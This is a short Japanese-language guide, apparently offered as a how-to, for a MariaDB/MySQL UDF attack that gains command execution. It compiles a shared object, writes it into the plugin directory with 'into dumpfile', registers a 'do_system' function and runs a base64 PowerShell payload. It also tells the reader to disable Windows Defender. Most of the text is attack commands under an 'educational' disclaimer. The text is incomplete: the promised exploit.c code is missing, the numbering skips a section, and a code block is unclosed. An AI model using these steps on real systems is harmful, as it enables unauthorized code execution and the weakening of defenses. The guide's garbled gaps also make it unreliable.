
データベース認証済みコード実行
このガイドでは、データベースシステムに対するユーザー定義関数 (UDF) 攻撃を再現するための段階的な手順を説明します。このエクスプロイトは一部のシステムでは動作する可能性がありますが、64ビットアーキテクチャや特定のビルドでは正しく機能しない場合があることに注意してください。
警告: これは教育目的のみのものです。これらの技術を無断で使用することは違法かつ非倫理的です。
まず、exploit.c という名前のファイルを作成し、次のコードを追加します:
### 2. UDFコードのコンパイル
`x86_64-w64-mingw32-gcc` コンパイラを使用してエクスプロイトコードをコンパイルします:
```bash
x86_64-w64-mingw32-gcc -g -c exploit.c
コンパイルされたオブジェクトファイルから共有オブジェクトファイル (exploit.so) を生成します:
x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o
xxd を使用して .so ファイルを16進数形式に変換します:
xxd -p exploit.so | tr -d '\n' > hex_value.txt
hex_value.txt から16進数値をコピーし、データベースで次のコマンドを実行します:
DB> set @shell = 0x<hex_value>;
次のコマンドを実行してプラグインディレクトリを確認します:
DB> select @@plugin_dir;
次に、プラグインディレクトリにエクスプロイト共有オブジェクトを作成します:
DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';
注記: パスはシステムの構成や特定のプラグインディレクトリに合わせて調整してください。
エクスプロイトを使用してデータベースに新しい関数を作成します:
DB> create function do_system returns integer soname 'exploit.so';
エクスプロイトを妨げる可能性のあるアンチウイルスやWindows Defenderを無効にします。次に、新しく作成した関数を使用してコマンドを実行します:
DB> select do_system('powershell base64 here');
'powershell base64 here' を、実行したいコマンドのBase64エンコードされたペイロードに置き換えます。
免責事項: この文書は教育目的およびセキュリティ研究のみを目的としています。この情報の悪用は、刑事告訴や重大な法的罰則につながる可能性があります。ネットワークやシステムで脆弱性をテストする前に、必ず関係機関から許可を得てください。